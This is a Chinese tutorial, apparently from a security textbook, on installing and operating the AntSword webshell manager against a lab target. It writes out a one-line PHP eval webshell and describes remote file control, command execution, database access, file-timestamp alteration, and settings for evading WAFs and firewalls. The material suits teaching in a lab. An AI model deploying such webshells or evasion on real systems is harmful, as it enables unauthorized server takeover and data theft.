AntSword的安装、常用操作
AntSword(中国蚁剑)是一款开源的跨平台网站管理工具,用于管理和操作网站后台的Shell。安装AntSword需要下载两部分:一个是项目核心源码,另一个是加载器。加载器包括以下三个版本:Mac、Windows和Linux,用户需要根据自己的操作系统选择相应的版本。
安装
本教材以Windows10攻击机中安装AntSword为例进行演示。
AntSword从v2.0.0版本开始引入了“加载器”概念,用户仅需要下载对应平台的加载器,即可对源代码进行编辑、调试、执行等操作。加载器的下载地址为:https://github.com/AntSwordProject/AntSword-Loader,下载页面如图1所示。下载完成后解压AntSword加载器压缩包,如图2所示。

图1AntSword加载器下载页面

图2解压AntSword加载器压缩包
进入加载器目录(AntSword-Loader-v4.0.3-win32-x64),双击“AntSword.exe”文件开启AntSword加载器,如图3所示。首次开启AntSword加载器时,界面如图4所示。

图3 开启AntSword加载器

图4首次开启AntSword加载器时界面
点击“初始化”按钮,如果只下载了加载器,而没有下载源代码,则选择一个空目录作为AntSword的工作目录,加载器会自动下载源代码,下载过程如图5所示。如果解压失败,将出现如图6所示的错误提示。

图5初始化自动下载源代码

图6代码解压出错情况
解决办法:以管理员身份启动“AntSword.exe”。右键点击“AntSword.exe”图标,选择“以管理员身份运行(A)”,然后按照以上步骤运行即可。
解压成功后再次双击“AntSword.exe”打开应用程序,点击“AntSword”→“Language setting”选项,进行语言设置,如图7所示。进入“Select language”对话框,先选择“简体中文”,然后再点击“Save”选项,如图8所示。

图7进行语言设置

图8选择“简体中文”并点击“Save”选项
然后进入“Restart the application?”对话框,点击“确定”按钮重启,如图9所示。

图9重启AntSword
界面介绍
启动中国蚁剑后,默认显示Shell管理界面,该界面由两个主要区域组成:左侧为“数据管理”区域,也称为“Shell列表”区域;右侧为“分类管理”区域。
在“数据管理”区域内,用户能够通过单击鼠标右键调出上下文菜单,该菜单提供多个功能选项,允许用户对Shell进行添加、编辑、删除等管理操作,从而实现对远程服务器的有效控制和管理,如图10所示。

图10中国蚁剑Shell管理界面
“数据管理”区域以列表形式展示Shell。用户与Shell的交互方式为:单击鼠标左键选中指定Shell,右键点击选中的Shell以调出上下文菜单,或双击指定Shell直接进入文件管理界面。
上下文菜单提供多个功能选项,具体如下:
(1)虚拟终端:打开虚拟终端界面,执行命令行操作。
(2)文件管理:进入文件管理界面,执行文件操作任务。
(3)数据管理:管理选中Shell的关联数据库。
(4)浏览网站:直接访问Shell,并将服务端设置的Cookie保存至Shell配置。
(5)复制URL:复制当前Shell的URL(仅适用于2.1.0及以上版本)。
(6)加载插件:为选中Shell加载特定插件。
(7)插件市场:进入插件管理和获取界面。
(8)添加数据:新增Shell数据条目。
(9)编辑数据:修改选中Shell的连接配置。
(10)删除数据:移除选中Shell,支持批量删除。
(11)移动数据:将选中Shell移动至指定分类目录。
(12)清空缓存:清除选中Shell的缓存数据(注意:修改配置后需手动执行此操作)。
(13)清空所有缓存:清除本地所有Shell的缓存数据。
常用操作
1. 配置Shell连接
中国蚁剑的核心设计理念体现为“自由、灵活、高扩展”,其为用户提供了一系列功能强大且丰富多样的配置选项,具体涵盖基础配置、请求信息配置和其他配置三种功能。
基础配置包含Shell连接所需的最基本信息,这些信息的准确性直接影响到Shell能否成功建立连接。基础配置界面如图11所示。

图11基础配置界面
基础配置各选项说明如下:
(1)URL地址:指定Shell的URL地址,即后续数据包的发送目标。
(2)连接密码:指定Shell的连接密码。
(3)编码设置:指定Shell的编码方式。该选项将影响数据包的解码过程,不同的服务器环境可能需要不同的编码方式。如果出现乱码,则需要调整此项并清除缓存。
(4)连接类型:指定Shell的解释器类型,包括多种预设类型和自定义选项,具体需根据服务器环境选择。
(5)编码器:用于客户端与Shell通信时的加密、编码操作,是绕过防火墙的关键功能,可提高连接成功率。
(6)解码器:用于解密和解码从目标服务器返回的数据,以确保数据能被正确显示。
在特定网络环境或安全要求下,连接某些Shell时可能需要自定义HTTP请求头或HTTP请求主体。为满足这一需求,中国蚁剑提供了“请求信息”配置功能,该功能允许用户精确控制HTTP请求的细节,包括但不限于自定义Cookie、User-Agent等HTTP请求头信息,以及在HTTP请求主体中添加特定参数或字段。请求信息配置界面如图12所示。

图12请求信息配置界面
请求信息配置界面主要包括两个部分:HTTP请求头(HTTP HEADERS)和HTTP请求主体(HTTP BODY),具体说明如下:
(1)HTTP请求头部分:用于自定义HTTP请求的头部信息。在该区域,用户需要在Name字段中输入请求头的键名(Key),并在相应的Value字段中填写该键名的值,这允许用户设置Cookie、User-Agent等自定义头部信息。如果需要添加多种头部信息,用户可点击工具栏中的“[+]Header”按钮。
(2)HTTP请求主体部分:用于自定义HTTP POST请求的主体内容。在该区域,用户需要在Name字段中输入POST参数的键名(Key),并在相应的Value字段中填写该键名的值,这特别适用于需要传递特定参数或数据的POST请求。如果需要添加多个POST参数,用户可点击工具栏中的“[+]Body”按钮。
其他设置是中国蚁剑Shell配置的高级选项,旨在增强连接的安全性、稳定性和灵活性。具体选项包括忽略HTTPS证书验证、调整请求模式、使用随机变量名、增加垃圾数据、切换发包方式、控制缓存使用、设置随机前缀长度、调整文件上传分片大小、自定义请求超时时间和终端执行路径等,这些选项允许用户根据特定的网络环境和安全需求进行精细调整,有助于绕过WAF、优化性能、提高隐蔽性,从而在各种复杂场景下实现更有效的Shell管理。其他设置界面如图13所示。

图13其他设置界面
接下来以中国蚁剑连接PHP一句话木马为例进行演示。
使用集成开发工具或记事本创建一个名为“yjh.php”的文件,其内容为“<?php eval($_POST[‘ant’]);?>”,然后将yjh.php文件放置在Windows7靶机的网站根目录(即phpStudy站点根目录)中。
在“数据管理”区域的空白处单击鼠标右键,如图14所示。点击“添加数据”选项进入配置页面,如图15所示。

图14在“数据管理”区域的空白处单击鼠标右键

图15点击“添加数据”选项进入配置页面
在“URL地址”中输入yjh.php文件的URL地址“http://192.168.1.101/yjh.php”,在“连接密码”中输入POST参数“ant”,“编码器”选择“chr”,解码器选择“default”,然后点击“测试连接”按钮,可发现连接成功,如图16所示。

图16输入信息并测试连接
2. 文件管理
进入中国蚁剑后,在“数据管理”区域选中特定Shell,单击鼠标右键调出上下文菜单,如图17所示。

图17单击鼠标右键调出上下文菜单
在上下文菜单中点击“文件管理”选项进入文件管理界面,如图18所示。

图18文件管理界面
文件管理界面主要由以下部分组成:
(1)标题栏:显示当前进行文件管理的服务器地址。
(2)目录列表:以树形结构展示服务器的文件系统。
(3)工具栏:提供常用文件管理工具的快速访问选项。
(4)文件列表:以列表形式展示当前目录下的文件和目录信息,包含名称、日期、大小和属性等。
(5)任务列表:显示文件传输等操作的进度,默认处于折叠状态。
文件管理分目录操作和文件操作,常用的目录操作如下:
(1)主目录:即当前Shell所在目录,作为文件管理的默认起始位置。
(2)刷新目录:强制更新当前目录缓存。文件管理默认缓存文件列表以优化性能,当目录结构发生外部变更时,需手动执行此操作。
(3)上层:导航至当前目录的父级目录。
(4)新建目录:在当前位置创建新的目录。
(5)删除目录:在文件列表区域右键点击指定目录,然后点击“删除文件”选项,以移除指定目录。
常用的文件操作如下:
(1)新建文件:在当前目录创建新文件。
(2)Wget下载:从指定URL下载文件至服务器。
(3)上传文件:将文件从客户端传输至服务器。
(4)下载文件:将文件从服务器传输至客户端。
(5)重命名文件:修改文件名称。
(6)编辑文件:修改指定文件的内容。
(7)删除文件:移除指定的文件。
(8)更改文件时间:将文件的创建时间和修改时间修改为指定的时间戳。
3. 虚拟终端
进入中国蚁剑后,在“数据管理”区域选中特定Shell,单击鼠标右键调出上下文菜单,然后点击“虚拟终端”选项进入虚拟终端界面,如图19所示。

图19虚拟终端界面
虚拟终端界面主要包括以下两个部分:
(1)基础信息:提供远程主机的关键信息,包括当前路径、磁盘列表、系统信息和当前用户信息,使得操作者能够快速了解远程主机的状态。
(2)命令行:包括命令提示符和命令两部分,命令提示符显示当前所在路径。输入命令并按下“Enter”键,会输出命令执行结果。
4. 数据操作
进入中国蚁剑后,在“数据管理”区域选中特定Shell,单击鼠标右键调出上下文菜单,然后点击“数据操作”选项进入数据操作界面,如图20所示。

图20数据操作界面
数据操作包括配置列表和执行SQL两个部分,配置列表包括如下操作:
(1)添加:新增一条数据库连接配置。
(2)编辑:修改现有的数据库连接配置。
(3)检测:检测当前Shell环境支持的数据库函数,如图21所示。

图21检测当前Shell环境支持的数据库函数
执行SQL包括如下操作:
(1)执行:执行输入框中的SQL语句。
(2)清空:删除输入框中的SQL语句。
(3)书签:保存和组织常用的SQL语句,包括全局SQL书签和当前Shell专用SQL书签两种类型,为不同场景提供灵活选择。
(4)执行结果:展示SQL语句的运行结果:对于返回数据集的操作(如SELECT语句),会以表格形式呈现结果;对于不返回结果集的操作(如INSERT、DELETE等),会显示执行状态(True或False)。
(5)导出:将当前执行结果导出为CSV(逗号分隔值)格式的文件。
在配置列表中点击“+添加”按钮进入具体配置界面,如图22所示。

图22进入具体配置界面
具体配置界面包括如下选项:
(1)数据库类型:根据项目需求和PHP版本选择合适的数据库连接方式。对于MySQL而言,如果PHP < 5.5.0,选择MySQL扩展;如果PHP >= 5.2.9,选择MySQLi扩展。
(2)数据库编码:指定与数据库通信时使用的编码方式,这对于MySQL尤为重要,而其他数据库通常在连接字符串中指定编码方式。
(3)数据库地址:指定数据库的网络位置,默认为“localhost”。
(4)连接用户:指定数据库的用户名。
(5)连接密码:指定数据库的用户密码。
输入相应信息后,可点击“测试连接”按钮,效果如图23所示。测试无误后点击“+添加”按钮,随后提示“成功添加配置”并展示相应的数据库信息,如图24所示。

图23测试连接效果

图24成功添加配置后展示相应的数据库信息
夜雨聆风